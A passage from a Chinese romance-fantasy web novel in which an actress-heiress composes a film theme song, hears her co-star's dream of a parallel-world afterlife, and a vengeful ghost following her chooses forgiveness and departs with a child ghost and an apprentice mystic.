混乱中,突然感到颜千澄气息逼近,脸颊上一阵温暖。 她亲了他。 没有停留多久,稍触即分。 可酥麻的感觉,从脸颊瞬间蔓延到全身,关景墨整个人都呆了。 小鬼“哎呀呀”感叹,颜千澄摸摸他的头,笑笑,跟他再说一遍“晚安”,转身离开许久,关景墨还回不过神来—— 颜千澄回到房间,心有所感,取出一张白纸,手握钢笔,几行歌词行云流水般从笔尖倾泻而出。 这几个月兴起人工智能热,关景墨很重视,迅速成立项目组,为颜氏集团引入人工智能,提升运作效率。 人工智能会做很多事。 有人扬言,人工智能将取代人类绝大部分工作,包括作曲填词绘画写作等创作。 或许吧。 可是…… 因为人工智能会创作,创作得又快又好,人类就要放弃创作,从此不再作曲填词绘画写作了吗? 显然不是的。 有时候,不是创作这件事需要人来做,是人的灵魂需要创作,像需要吃饭喝水一样需要创作,渴望创作。 就算人类创作时,想法不如人工智能全面,文笔不如人工智能优美,用词不如人工智能精准,速度更是远远比不上…… 有些人,依旧愿意独自一人,一笔一划,笨拙地,缓慢地,将心里那份情感细细描画出来。 创作,是人类跟自己的心灵对话的过程。 全身心沉浸在创作中时,被重重遮蔽的心灵隐痛逐渐显露,被自己的语言缓缓诉说,温柔疗愈。 就算创作出来的作品,有再多缺陷,也是人类生命的鲜活记录,是量身定做的心灵处方,能疗愈自己,以及跟自己的灵魂频率相似的人。 这正是人类创作的价值所在。 数年感悟,多日酝酿,一朝成熟。 颜千澄冲破最后一关,独立完成电影主题曲的作曲填词。 写下最后一个句号,颜千澄靠在椅背上,闭上双眼,有种舒畅完满的感觉。 良久,颜千澄睁开眼睛。 时钟指着凌晨两点。 太晚了,不适合打电话,颜千澄决定将作品发到导演电子邮箱。 担心导演畏于颜氏集团的财势,不敢不用她的作品,颜千澄特意抹去作者栏上自己的名字,附言说如果这词曲不合适,可以不采纳,她跟他一样,都是一心盼望能做出最好的电影的。 写完邮件,检查一遍,点击发送键,颜千澄去洗漱,睡觉。 一夜无梦。 第二天,天刚蒙蒙亮的时候,手机狂震。 颜千澄拿起手机,接通,导演的吼声隔老远传来:“千澄!这正是我想要的主题曲!作者是谁?快让我见见!!” 颜千澄轻舒一口气。 能帮上忙,就好。 第43章 电影首映礼当天,应制片方要求,颜千澄驱车去接桑椹。 来到桑椹住处的停车场,颜千澄打电话给他。 桑椹没让颜千澄多等,很快就带着团队出来了。 身为电影的主演、影后级的大腕、久负盛名的Omega美人,桑椹今天盛装打扮,一身高端定制礼服,妆容精致,眼波流转间,魅惑动人,像电影里“回眸一笑百媚生,六宫粉黛无颜色(1)”的宠妃走进现实。 颜千澄打开车门,桑椹上车,坐在颜千澄身边。 等桑椹系好安全带,车子一声轻鸣,向首映礼会场驶去。两人各自的团队紧跟在他们周围。 之前一起拍电影,颜千澄与桑椹在戏里扮演一对恩爱情人,时有拥抱亲吻等亲密接触,在戏外经常一起对台词、讨论角色、交流对热门影视作品的看法……长期朝夕相处,彼此很熟悉。 电影杀青后,桑椹按一年前排定的行程,无缝进组,拍另一部电影。 颜千澄手上有几个不错的邀约,已选定一部,签好合同,预计下月开拍。这段时间,她写曲作词,和关景墨一起学做父母,陪小园适应她的新生活。 两人几乎没有联系,只偶尔配合剧组宣传,在社交平台上互动一下。 时隔数月,两人再次相见,互道早安后,一时都不知道该说什么。 在密闭的车内空间,一直沉默会有点尴尬,颜千澄正想跟桑椹核对等会儿首映礼的互动安排,桑椹先开口了:“千澄姐姐,我昨晚,做了一个梦。挺神奇的,我平时做梦,醒来就忘了,这个梦却不同,我直到现在,还记得清清楚楚。” 桑椹一脸郑重,颜千澄礼貌地“哦?”一声,认真倾听他说话。 桑椹微微苦笑:“在梦里,你是颜氏集团的董事长兼总裁,没入行做演员,我只在财经新闻里见过你的照片与近况。知道你,但不认识你。” 颜千澄想了想。 父母逝世,祖母病倒后,关景墨入主颜氏集团前,她的确兼任颜氏集团的总裁,工作繁重,根本就没时间去拍电影。 要不是关景墨,她大概会像桑椹梦里那样,一直到生命结束那一天,都被俗务束缚着,不得自由吧。 桑椹继续说他的梦:“在梦里,你没跟我合作拍电影,饰演女皇的,是另一个演员。拍刺杀戏那天……” 他顿了顿,打了个寒颤:“那天,你不在,救不了我。那人的匕首直直刺入我胸口,再猛地拔出,我眼看着自己的血像箭一样喷出去,整个世界都是鲜红色的。那人癫狂地笑,周围还有很多尖叫声,吵得很。” “我觉得好痛,好冷……虽然是做梦,但那感觉特别清晰,好像真的一样。” “然后我视觉一转,发现自己飘到半空,地上躺着我……我的尸体。我才明白过来,发生了什么事,明白我已经……死了……” 桑椹说着说着,眼眸流露出深刻的恐惧,泪光迷蒙,身子微微发抖。 电影首映礼前,宣发团队按惯例发布预告片、海报和花絮。颜千澄和桑椹外型亮丽,配合默契,每次新物料发布,都在网上掀起阵阵热潮,引来大批网友嗑CP。 网上“最佳搭档”“金A玉O”“不管不管我就要澄澄和桑椹在一起”等呼声高涨,为免再次闹出绯闻,影响桑椹的名声与事业,颜千澄一直注意着,跟他保持距离。 但桑椹是她重要的搭档,现在他这样子,颜千澄总不能视而不见。 她轻叹一声,宽慰地拍拍桑椹的肩膀,柔声安慰他。等桑椹稍微镇定点,再有分寸地收回手。 桑椹深呼吸几下,继续说:“然后……我发现自己在排队。” “队伍很长很长,我前后都是人影。没人告诉我排队干什么,但我就是知道,我在等候审判……死后的审判。” “从出生到死亡,所有大大小小的往事,像我曾拍过的电影一般,在我眼前一一呈现。” “我觉得好难过,不能接受自己就这样死了,我还年轻,还有很多事未做呢……” “正恨着杀我的凶手,怨天怨地,排在我前面的人,突然转过头来……” 桑椹又顿了顿,偷眼看颜千澄。 “怎么了?”颜千澄问。 桑椹犹犹豫豫:“千澄姐姐,我说了,你可千万别生我的气。其实我考虑了很久,最后还是觉得,告诉你一声,比较好……” 颜千澄奇怪,桑椹似乎特别在意这个梦。 看离首映礼会场还有一段路,有时间听他倾诉,颜千澄点点头:“你就直说吧,我不生气。” 桑椹一咬牙:“千澄姐姐,我真不是想咒你!在梦里,排在我前面的人转头,我认出……那是……那是……你……” 颜千澄莫名其妙:“你的意思是,在你的梦里,几个月前,拍刺杀戏时,我就已经死了?” “我也不想做那样的梦的,真不是要咒你……”桑椹着急,眼圈又红了。 颜千澄并不介意,还觉得这梦有点意思,见桑椹情绪激动,就安抚道:“没事的,我没生气,你接着说吧。” 桑椹缓了缓:“你……咳,是梦里的那个你,不是现实中的你……也认出我了,说看过我的电影,很欣赏我。” 颜千澄点头,桑椹演技精湛,拍的电影品质不错,她的确挺欣赏他的。 得颜千澄赞赏肯定,桑椹忍不住展颜一笑,心底泛起几分甜意,紧接着又锁起眉头:“你……梦里的那个你,不是现实中的你……问我是怎么死的。” “我说了经过,你直叹气,说我这样年轻,可惜了……我说你也年轻,问……梦里的那个你是怎么死的,怎么我都没听到消息。” “我们一对时间,原来……梦里的那个你,跟我是差不多同时死的。” “梦里的那个你说,你是遭到怨灵的报复,它先杀了你父母,再杀你……” 车窗外,贝贝兴致勃勃地听到这里,愕然抬头,看向谢凡。 谢凡怔愣,一脸莫名。 “怎么回事呀?”贝贝无法理解,“民间传说里有怨灵,桑椹在娱乐圈多年,消息灵通,知道怨灵不奇怪。可是,他怎么知道,你杀了千澄姐姐的父母,还打算杀千澄姐姐?哦,你还没杀她,怎么在桑椹的梦里,你已经杀了千澄姐姐了?几个月前杀的?说不通啊……” 谢凡若有所思:“先听他们说下去。” 贝贝急忙捂住嘴巴,心里好奇,飘近点,贴着车窗,听颜千澄和桑椹说话。 颜千澄皱着眉头:“怨灵?我好像在哪里听过……” 桑椹颤声问:“听过?那……见过吗?” “没有,我不信那些……”颜千澄先是习惯性地摇头否定,突然想起几个月前的溺死鬼事件,以及喻君辞那番“世界很广阔”的话,又迟疑着说,“我现在有点信了,但我没亲眼见过……唔……” 脑海里,突然浮现出一个影像,极其模糊,转瞬即*逝。 看不清,记不清,只在意识深处留下一份浅淡稀薄的,说不清道不明的感觉。 是桑椹说的怨灵吗? 她是在什么时候见过呢? 又是在什么时候听过呢? 颜千澄苦苦思索,仍是想不起来,无奈摇头。 桑椹见颜千澄真的不介意,就继续说他的梦:“我问梦里的那个你,恨不恨,怨不怨。” “梦里的那个你叹气,说不恨,也不怨。” “梦里的那个你说,是你的父母有错在先。古人是父债子还,现代法律规定子女有权继承祖辈的财产,却不需要偿还祖上的债务。梦里的那个你觉得,如果对自己有利的,就欣然接受,对自己不利的,就说跟自己无关,那是不是有点鸡贼呢?” “梦里的那个你认为,人要有担当,要么就什么都不继承,偿还父母生养之恩后自立门户,若是选择继承祖上的财产,也得同时继承债务才是。你说你生在颜家,虽然并未享受到父母的关爱,但毕竟是他们给了你这个身份,让你自小享受荣华富贵,那你承担他们的罪孽,也不冤。你说杀你的那个怨灵,生前死后,一直被怨恨夹裹,报完仇,就魂飞魄散了,它比你更惨。” 桑椹是个天才演员,常常看一遍剧本,就能记住台词,现在复述梦境里颜千澄的话,也说得一字不差。 一口气说了很多,桑椹停下,问:“千澄姐姐,你是这样想的吗?” 颜千澄仔细想想,点头。 桑椹说的,的确符合她的想法。 她是不太宽容,睚眦必报。 但那是对先伤害自己的人。 如果是别人先被伤害,来找她讨债,她不会辩解逃避,更不会怨恨。 哪怕是讨命债。 哪怕这个债,不是她自己欠的,是祖上留下的。 因为……就像梦里的那个她说的,人要有担当。 只是,她一般不会跟刚认识的人,说那么多话。 身为颜氏集团的继承人,颜千澄自小接受祖母严格的训练,熟习社交规则,注重社交礼仪。 交浅言深,是交际的大忌,她从来不会犯。 可在桑椹的梦里,她人都死了,可能不会顾虑那么多? 人刚死的时候,可能会有很多感概,想跟身边的人抒发一下? “魂飞魄散……”贝贝回头,偷眼看谢凡。 谢凡没在意这个。它早就知道,连杀颜千澄的父母两人,杀他们的时候,竭力控制能量不波及周围无辜的人,现在它剩下的能量不多了,再杀颜千澄,它大概率会魂飞魄散。 它在意的是…… 在桑椹的梦里,它杀了颜千澄? 颜千澄说……她不恨,也不怨? 颜千澄……坦然承担父母的罪过。 还说……它比她更惨? 对亲手杀自己的凶手,颜千澄也愿意给予理解与善意吗? 长久的怨恨与潜滋暗长的种种情感相互交织,谢凡麻木地跟着他们,心头百感交集,不知道是什么滋味。 按最高标准定制,坚固堪比堡垒的豪华防弹车内,空调调到人体最舒适的温度,桑椹却又打了个冷颤:“我们聊着聊着,逐渐排到队伍前头,看到审判台了。审判台上摆着一本册子,记录着每个人的是非功过。” “原来,人在世时,一切所作所为,所思所想,全都会记录在册,成为审判的依据。” “原来,动心起念,就是稍微想一想的东西,都会被记录,分毫不差的。” “罪过大的人,会被拉下去受刑。原来,灵魂状态还有痛觉,他们受刑时鬼哭狼嚎的,可怕极了。” “我很害怕,梦里的那个你安慰我说,凡人作恶,或迟或早,总有报应。重拾信仰,诚心忏悔,然后坦然接受上天的一切安排就是,等罪孽赎清,再清清白白地投胎。” “看你这样镇定,我也没那么怕了,不想听那些哀嚎,就继续找话题跟你聊天。” 桑椹叹气,幽幽说:“我问梦里的那个你,有没有什么遗憾。梦里的那个你说还好,就是放心不下爱人和未出生的女儿,你说对不起他们,早早离开他们,让他们受苦了。哦,对了……” 他偷眼看颜千澄,补充:“我记得在梦里,你娶的不是关景墨,是另外一个人。或许是他为人低调,或许是被你保护得太好,网上几乎看不到他的新闻。” 颜千澄莫名其妙。 她娶的不是关景墨?有个未出生的女儿? 她死了也放心不下的人……低调的人……她会全程小心翼翼用心保护的人…… 颜千澄心一跳。 第44章 不,她不该想太多,这只是桑椹的一个梦而已。 贝贝惊讶回头,跟谢凡讨论剧情:“是喻君辞吗?桑椹的梦里,千澄姐姐娶的人,是喻君辞?还有个遗腹女?” 谢凡沉默片刻,神色复杂:“平行世界。” “平行世界?”贝贝惊叹,“你的意思是,桑椹的梦,是真的?” 谢凡叹息:“什么算真,什么算假?在别的世界,那段往事发生过,你可以说它是真的,但在我们现在所在的这个世界,那段往事并未发生,只是桑椹的一个梦而已,那算真,还算假?是真实,还是虚幻?” 贝贝被谢凡绕蒙了,挠头:“那,桑椹是怎么知道平行世界的事的?” “做梦啊,”谢凡回答,“我曾听说,梦是人在沉睡时,灵魂飘出,去探望平行世界里的另一个自己,观看另一个自己的经历。不是桑椹先知道平行世界的事,再做梦,而是先入梦境,再在梦里得知平行世界的事……哦,也不一定……” 谢凡想了想,继续说:“人的心灵,极其复杂,有时候,就算不做梦,不依靠实物,也能在冥冥中连接传输一些东西……过去的,现在的,未来的,这个世界的,以及另一个世界的……也许桑椹的灵魂,在无意识中连接到平行世界,感知到平行世界的事,再在梦境里显现出来……” 哪个在先,哪个在后,是预知,是回溯,还是同步感应……玄学不是科学,很多东西,根本无法像科学那般,可以用一套套理论分析清楚,解释明白。 但稍有生活经验的人都知道,世上确实存在无法解释的超现实感应。 连蝼蚁也能预知地震,人是万物之灵,灵性更强,小孩子就能感知到很多无形的东西。 只是人欲望太多,俗情缠身,心里塞满金钱房车食色口舌恨怨……年纪越大,灵性被俗世的物事遮蔽得越厉害,越来越顽愚而已。 豪华防弹车里,桑椹等颜千澄平静下来,继续说:“现在不是流行重生的设定吗,我又问梦里的那个你,如果能重生,你想做什么。” “梦里的那个你说,如果能重生,你要坚定地追寻信仰,要更好地爱与被爱,要让你的爱人过得更好,还要……调查当年的事,看能不能为怨灵做点事情。” “你说,父母的罪过太大,可能无法弥补,但你尽自己所能就是了。若能稍微弥补一点,也是好的……” 贝贝偷眼看谢凡。 谢凡愣在原地。 豪华防弹车速度很快,在它发愣时,已往前开出一段路,到十字路口才停下,等绿灯。 车内,颜千澄脸色沉凝。 先不论桑椹梦境的真实性。 对亲生父母,颜千澄感情复杂。 期盼过他们的爱,失望过,怨恨过。 后来,她把他们当成最熟悉的陌生人,在内心竖起一道壁障,将自己与他们分隔开,以保护自己的心。 对他们不闻不问,不愿知道他们做过什么事。 但…… 就像桑椹梦里的那个自己说的,既然继承了父母的财产,也该继承他们的债务。 她应该承担起责任,寻找过往的受害者或他们的家属,尽力弥补父母的过错。 在自己有生之年,把该还的,能还的,都还上。 这也算是回报父母的生身之恩了。 然后,她就可以慢慢放下内心深处那团剪不断理还乱的纠葛,从原生家庭的阴影里,一步一步走出来。 嗯,等首映礼结束,就跟关景墨商量一下,找几家侦探社,尽快开始调查吧。 颜千澄打定主意。 红灯转绿。 豪华防弹车拐了个弯,继续往目的地驶去。 这次,谢凡没有跟上。 贝贝莫名其妙,大声喊它,问它怎么了。 谢凡扯出一个几乎看不见的微笑,摇摇头,慢慢举起手,挥了挥。 然后,悬浮在原地。 默默地,目送她远离。 到达电影首映礼会场,颜千澄和桑椹下车。 两人一露脸,立刻成为全场焦点。 尖叫声欢呼声直冲云霄,成千上万的影迷挥舞着海报手幅,潮涌而来,数百家媒体记者争抢最佳摄影采访位置,伸长脖子焦急等待,闪光灯此起彼伏闪闪烁烁,宛如梦幻。 是的,宛如梦幻。 桑椹记得,他第一次拍完电影,参加首映礼时,也是类似的场景。 当时,没有现在这么多的影迷和记者,众人的热情是冲着当时的主演去的,不是给他的。 但那份繁盛热闹,仍深深印刻在他的脑海里。 当时,在交织的灯影里,在欢呼赞美声中,桑椹有种错觉,觉得自己变成了高高在上的贵公子,不再是市井里的穷小子了。 今天,他跟颜千澄一起,走上百米长的华丽红毯。 颜千澄是头一次参加这样隆重的首映礼,但她何许人也,曾让桑椹震撼的繁盛热闹,于她不过寻常风景,完美无俦的脸上,依旧带着惯常的礼貌微笑,言行举止依旧从容自若。 走了几步,颜千澄停下,侧头向桑椹示意。 桑椹一看,嗯,来到主办方划定的位置了。 他摆出甜美的笑容,站在颜千澄身边。 颜千澄牵起他的手,微微一笑,幽深黑眸定定注视着他。 她动作温柔,眼神宠溺。 桑椹心脏“怦怦怦”剧烈跳动。 有种被她深爱着的错觉。 但桑椹心里清楚,颜千澄只是依照主办方的要求,摆出电影里的经典姿势,让媒体们拍照而已。 只是一场预先设计好的表演。 白纸黑字的策划案,就放在他住处的桌面上,他早已一项一项看过、记住。 演出效果挺好的。他跟颜千澄穿着配套的高定礼服,在珠宝华光和周围闪光灯灯光叠加交织的光晕里,重现电影里女皇与贵妃的恩爱情景,执手深情对视。 现场掀起一波高潮。 有影迷在高呼。 “执子之手!与子偕老!” “啊啊啊颜千澄和桑椹都好好看!配一脸!” “戏假情真吧他们!” “穿配套礼服,一起走红毯,四舍五入就是结婚了!” “澄澄桑椹在一起!!!” 不远处有摄影记者感叹:“不管从哪个角度拍都惊艳,这两人,不炒CP可惜了。” 宛如梦幻。 红毯上,桑椹跟颜千澄在欢呼惊叹声中,走一走,停一停,再继续走。 挽挽手,搭搭肩,调整角度,摆几个造型。 给影迷签名,感谢他们的支持。 回答记者的提问。 两人按预设的剧本演出,合作无间。 一切都有条不紊。 桑椹以前觉得,演员的生活,一半虚幻,一半真实。 现在觉得,他的生活,不,是这个世界,太多太多的虚幻。 好像活在梦中。 不远处传来电影主题曲,是颜千澄作曲填词演唱的。 桑椹心头一颤。 好的音乐,能引发灵魂的共振,将人带入玄妙的境界。 现场又掀起一波高潮,各大直播网站上,弹幕疯狂刷屏。 【我长这么大,没服过谁,就服颜千澄一个人,大写的“服”字!】 【多才多艺的超级天才】 【呜呜呜千澄让我明白,都是两个肩膀扛一个脑袋,但人与人就是不一样,羡慕不来】 【DNA动了!词曲歌喉三杀!】 【已购买单曲,循环播放无限次】 【建议申报非物质文化遗产】 …… 镜头下,演技精湛的桑椹保持着完美笑容,向询问他感想的记者,夸赞颜千澄做的主题曲。 表情言辞都经过经纪公司的精心计算,礼貌得体,既表达了欣赏,又没有流露丝毫暧昧意味,避免被黑子抓住把柄,避免被CP粉拿来炒作绯闻。 真实的桑椹叹气。 谁能教教他,怎么才能不爱她啊。 走完红毯,颜千澄和桑椹进入内场,配合主持人登台致辞,再接受一轮采访,就到观影环节了。 两人在专属座位坐好,现场灯光渐次暗下。 随着古韵悠长的主题曲,中央的巨型屏幕,徐徐展现女皇与宠妃的故事。 颜千澄第一次参加正儿八经的首映礼,新鲜感是有,但隆重的场面、震耳欲聋的掌声欢呼、媒体的闪光灯、记者的采访提问……身为颜氏集团的继承人,她自小就习惯了,并不觉得怎样。 现在这观影环节,才是她心心念念,期待了好几天的。 颜千澄眼睛都亮了,聚精会神注视着屏幕。 从小就喜欢看电影,一有机会就模仿电影里的角色演几段玩玩,一直梦想着做演员。 现在真的做了演员,完成了一部优秀的作品,怎能不开心。 唔,这里好像有点不自然,应该怎样调整比较好? 嗯嗯,这段演得不错。 哎呀,那里是不是穿帮了? …… 跟颜千澄一样,桑椹也认真地注视着屏幕。 这世界,虚幻再多,也是有真实的东西的。 比如,眼前的电影。 他和颜千澄合作,共同完成的作品,凝聚着他们的心血,就像他们的孩子一样。 一天又一天,一月又一月,他跟颜千澄,还有其他幕前幕后的工作人员,一起拍下的一个又一个镜头,剪辑连接起来,成为一个完整的故事。 虚幻中的真实。 珍贵无比。 …… 休息间隙,等颜千澄回过神来,桑椹继续说他的梦:“千澄姐姐,那时候,我问了梦里的那个你很多问题,后来,你反问我,如果能重生,我想做什么。” 他脸上泛起奇异的光彩:“我说,当初做演员,是为了赚大钱。我以为自己只是把拍电影当成一份高薪工作,有时候还抱怨工作累,麻烦事多。死了之后,我发现,我最遗憾的,是没能完成手上的作品,没来得及塑造更多更鲜活的角色。如果能重生,我想继续拍电影,演各种各样的角色,直到演不动那天为止。” 颜千澄心头一震,肃然起敬:“桑椹,你是个好演员,特别特别好的演员,你真的……很了不起。” 颜千澄身份贵重,教养极好,平常与人交谈时特别注重分寸,很少说这样直白热烈的话,桑椹听得脸上发烫,腼腆地低下头:“梦里的那个你,也是这样说的,还说,希望来生能和我合作,一起拍电影。” “我说好。” “我的梦,就这样结束了。” 尾音在半空轻轻落下,桑椹鼓起勇气,抬起头,对上颜千澄的视线。 颜千澄眼眸深处,也泛起奇异的光彩。 她微微一笑。 这是桑椹跟颜千澄相识以来,在戏外,得到的最诚挚、最温暖的笑容。 他听见颜千澄柔声说:“桑椹,在我心里,你是我最好的搭档。” “以后,在工作上,你要是遇上什么困难,尽管来找我。能帮的,我一定会帮你。” 桑椹惊讶得瞪大眼睛。 颜千澄手握整个颜氏集团,位高权重,本人也是演艺圈中冉冉升起的巨星,前途无量。 她这承诺,分量可不轻。 有颜千澄照护着,只要别故意作死,他的往后余生,将是一片坦途。 “你很好,值得我帮你。”桑椹听见颜千澄说。 演技精湛的桑椹微笑,拿捏着分寸距离,礼节周到地向颜千澄表达感谢。 真实的桑椹……也不知道该笑还是该哭。 颜千澄说,他很好。 他们志同道合,合作愉快,彼此欣赏。 她愿意做他的搭档,知己,保护伞。 只要他别贪图不属于自己的东西。 唉…… 也许…… 那时候一起排队,互相倾诉安慰的前缘,延续到今生,只够开出这样的花,不足以结出他期待的果实吧。 也许,还是该笑的。 这份不是爱情的情感,也是虚幻世界里,真实的东西。 珍贵无比。 第45章 清晨,市郊,爱心福利院围栏外。 贝贝一路找寻,终于找到谢凡,从半空中飘下来,担心地上下打量它:“这几天你去哪了?” 谢凡沉默片刻,淡淡地说:“到处看看。” 看它出生的地方,跟父母共同生活的地方,长大的地方,以及……死亡的地方。 都在这个城市。 从生到死,它都未离开过这片土地。 贝贝挠挠头,小心翼翼地问:“你……是怎么想的?” 怨灵一般是紧跟在它的复仇目标身后的。 谢凡之前锁定了颜千澄。 它尊重颜千澄的隐私,曾在某些时候自觉回避。 它担心自己的煞气压低颜千澄的气运,主动拉远跟她的距离。 但从没离开她这么长时间。 贝贝不明白。 谢凡默默望着福利院的房屋、花草树木、还有出来晒太阳的孩子们。 透过他们,看那段尘封的记忆。 以及……它长年累月的仇恨。 半晌,谢凡轻叹一声:“他们害了我父母和我,一共三条人命。我父母的仇,我已经报了。我自己的仇,原想报在颜千澄身上,但她……我决定不报了。” “为什么?”贝贝问。 谢凡淡淡地笑:“她……我怎么报得了啊……” 跟在颜千澄身边的时间越长,越是下不了手。 在平行世界里,它对颜千澄……感情应该没有这样复杂,所以下得了手。 弄死她,自己力量耗尽,魂飞魄散,相当于同归于尽。 这个结局,对谢凡来说,也不算差。 但不必再重复了。 既然,它的仇,在平行世界里已经报过,它执念已了。 颜千澄……愿意真心实意地理解它,共情它。 还愿意承担责任,弥补父母的过错。 那,它还有什么好纠结的呢。 爱与宽恕,颜千澄能做到,它谢凡也能。 生前死后,谢凡大半时间被仇恨缠绕,被执念夹裹。 一朝放下,胸中块垒尽去,竟是前所未有的舒畅。 贝贝理解不了谢凡弯弯绕绕的心思,但它喜欢的千澄姐姐平平安安,它在乎的好朋友谢凡能晚一点魂飞魄散,它很高兴。 它往福利院里张望,嘴巴闲不下来:“这就是小园待过的福利院呀。” “嗯,我也在这里待了十几年。”谢凡说起往事,语调平常,昔日的戾气烟消云散。 一大一小两鬼随意闲聊,突然听到汽车刹车声,一起抬头。 车门打开,一个打扮时尚的年轻女Beta钻出,边挥手边急急向它们跑来:“等等我!” 是半桶水玄学大师姚甜甜。 后面的司机见姚甜甜喊得急,一时好奇,顺着她的视线望去。 空荡荡的,什么也没有啊。 司机疑惑,瞅一眼姚甜甜,她还在挥手喊叫。 神经病吧她? 司机“呸”一声去去晦气,忙不迭地开车离开。 谢凡跟姚甜甜不熟,没说话,贝贝跟她有几分交情,问:“你找我们干嘛?咦,你包里收着什么东西?” 它感应到了,表情变得极其古怪。 “我没有恶意的啊,一点恶意都没有!”姚甜甜赶紧声明,站定平复一下呼吸,然后拉开帆布包的链子,小心翼翼地取出一盒东西。 谢凡一看,也变了脸色,警惕地盯着姚甜甜,伸手摸摸贝贝的头,安抚它。 姚甜甜有点怵谢凡,心脏狂跳,硬着头皮,继续向贝贝解释:“老板找了人,好不容易拿到的,说是应该还给你,让你处置。” “让我处置?”贝贝惊讶。 姚甜甜点头。 盒子里收着的,是些骸骨与尸油。 用来控制小鬼的。 贝贝的前主人因谋杀未遂被捕,住所被查封。 关景墨托了关系,悄悄找到这盒东西。 想起小鬼的制作过程,姚甜甜心头一酸,脸上自然而然地流露出几分温柔。 贝贝站在地上,身高只到她的腰部,姚甜甜蹲下,双手托着盒子,小心翼翼地平举到贝贝面前。 “条件呢?”谢凡皱眉。 姚甜甜赶紧摇头:“没有条件,老板说,这……本来就是贝贝的,物归原主。” 贝贝沉默很久,叹气:“可是,你们还给我,我也不知道该怎么处置啊。” 它甚至无法真正触碰……自己曾经的身体。 “我帮你,”姚甜甜语调诚恳,“你想找个漂亮的地方……还是运回你的家乡,我都可以帮你。” 国人讲究入土为安,姚甜甜不知道小鬼讲不讲究这个,但它总不愿自己的骸骨飘零散落,或被有心人所用吧。 “条件呢?”贝贝学谢凡问。 “我的老板真的没有提任何条件,就交代我把这个还给你,没有另外吩咐什么,至于我呢……”姚甜甜想着自己心无城府,骗不到人,更骗不到小鬼和怨灵,决定实话实说,“你们也知道,我一直想继承姨婆的工作,就希望……能帮上点忙……” 只是想为它们做点事。 这几天,关景墨没看到怨灵,颜千澄突然跟他商量,要找出当年的受害者,尽力补偿。 关景墨前后思索,大致推测出怨灵的想法,判断危机已去。 他解除跟姚甜甜的合同,慷慨地给了她一大笔钱。 如今,姚甜甜有钱有闲,想做点真正想做的事。 她觉得,小鬼与怨灵的结局,不该是魂飞魄散。 想帮它们。 她的视线,缓缓从贝贝移向谢凡。 谢凡一怔,第一反应是拒绝:“你一个半桶水初学者,能帮我什么?” 它跟贝贝不一样,没有骸骨要收殓安葬。 它若要魂飞魄散,以姚甜甜现在的水平,也救不了。 姚甜甜尴尬挠头:“虽然我现在是半桶水,但应该有一天能成为一桶水的……我一路陪着你们,一路学习提高。上天有好生之德,说不定路上给我什么启示,或让我遇上什么机缘,找到帮助你们的方法呢?反正……能帮多少,就帮多少吧,可以吗?” 能帮多少,就帮多少。 谢凡神色微动。 贝贝想了想:“那好吧。” 它低下头,看着姚甜甜手里的盒子,神色复杂:“这个……帮我带回我的家乡吧,我想……顺便回趟家,见见我的妈妈,不知道她现在怎样了……你们陪我。” 谢凡摸摸贝贝的头,无法拒绝。 姚甜甜赶紧应:“那我现在就订机票!” 她打开帆布包,动作轻柔地将盒子放回去,拿出手机,订下最近的机票,又打了去机场的车:“车子三分钟后到,很快的哈。” 正要退出打车APP的界面,突然,她的微信自动弹出来了。 “广告吗?”姚甜甜疑惑,刚想划掉,微信自动转到通讯录上,屏幕快速下滑,选中颜千澄。 姚甜甜目瞪口呆,眼睁睁看着屏幕转到跟颜千澄发消息的界面。 她明明握着手机没动,一排排复杂的编号却逐条出现在手机屏幕上,然后,全部发给了颜千澄。 姚甜甜:“……” 她一格一格地抬起头,看向谢凡。 “借用一下。”谢凡没否认,还挺客气地道谢。 贝贝好奇:“你发了什么给千澄姐姐?” “颜千澄储藏室的编号,她顺着找,能找到关景墨从小到大写给她的情书,”谢凡淡淡回应,“咱们不欠关景墨。” 姚甜甜:“……” 老板这下,得社死了吧。 哦,那些情书,是澄澄自己一个人看,她不会给别人看的,老板不会社死。 可是,对老板来说,从小到大写给心上人的情书,被心上人本人看到,比社死还羞耻吧…… 这到底是报恩,还是报复啊…… 唉,算了,反正情书是老板自己写下来,自己送出去的,就要有被看到的觉悟。 贝贝眼睛一亮:“哎呀呀,这段好戏,咱们得去看看!” “不要看,儿童不宜,”谢凡抓住它,“关景墨能看到你,你在场,他也不好意思演好戏了。” 贝贝叹气,数落关景墨怎么怎么木头,连最简单的勾引都不会。 姚甜甜再度尴尬得脚趾扣地。 谢凡飘上半空。 最后一次,望向它出生长大的城市。 望向……她。 锁定颜千澄的时间长,就算离她很远,也能感知到她。 它向颜千澄所在的方位望去。 即将收回目光时,颜千澄突然若有所觉,抬头,向它望来。 谢凡浑身气息一紧。 繁华都市,汽车鸣笛声、发动机的轰鸣声、人们各种方言口音无序交织,日日夜夜喧嚣嘈杂,从没有停歇的时候。 一人一鬼,隔着尘嚣,隔着生死,远远相望。 距离太远,根本看不清对方。 时间也太短暂,不过片刻,视线便即错开。 从此以后,无缘再会。 那短短一瞬的视线相触,像恍惚间的一个幻觉。 但…… 足够了。 谢凡释然微笑,最后一丝戾气散去,跟它的朋友们一起,启程出发,走向它的未来—— 颜千澄站在一栋别墅前,仰头望着远处虚空。 几点光芒刺到眼睛上,有点酸痛,颜千澄低下头,过了片刻,才回过神来,一脸茫然。 刚才…… 发生了什么? 感觉整个世界…… 在短短一瞬间,历经了沧海桑田? 也许,是昨晚没睡好,精神有点恍惚吧。 管家在躬身等候,颜千澄揉揉太阳穴,走进别墅。 她自小就极受欢迎,每天收到的情书,都是按叠算的。 随着年纪渐长,知名度越来越高,更是随时随地都能收到情书礼物。 颜千澄向来惜福感恩,有人喜欢她,勇敢又不失礼貌地向她表达心意,尽管她无法接受,心里也是很感动的。 接到情书,收到告白时,她的每一句“谢谢”,都是出自真诚,不是随口敷衍的客套话。 但情书实在太多太多,车载斗量的,颜千澄真的没办法一一拆开看。 她又不愿将情书随手丢弃,觉得不礼貌,践踏了别人的真心。 后来得知某作家专门买房子存放读者来信,她觉得这办法挺好,就学着买了栋别墅,将历年收到的情书按时间顺序整理好,放在别墅里。 一栋别墅不够,就再买一栋。 今天,是存放最新一批情书的日子。 保镖们打开货车车厢,将一个个箱子卸下来,抬进别墅,听管家指挥,将箱子按编号放到指定位置。 颜千澄亲自检查别墅的温度湿度及消防设施,确保一切条件适合书信长期存放。 检查完,保镖们还在忙,颜千澄拿出手机,看到姚甜甜发给她的信息。 存放书信的位置编号,是颜千澄亲自编的,一眼就认出来。 颜千澄疑惑,不明白姚甜甜为什么发这些给她。 现在正好在储藏室,颜千澄就先不问,按姚甜甜发的编号,找到一封信。 日期是两年前的。 粉红色的信封,上面还残留着淡淡的玫瑰花香,还挺浪漫。 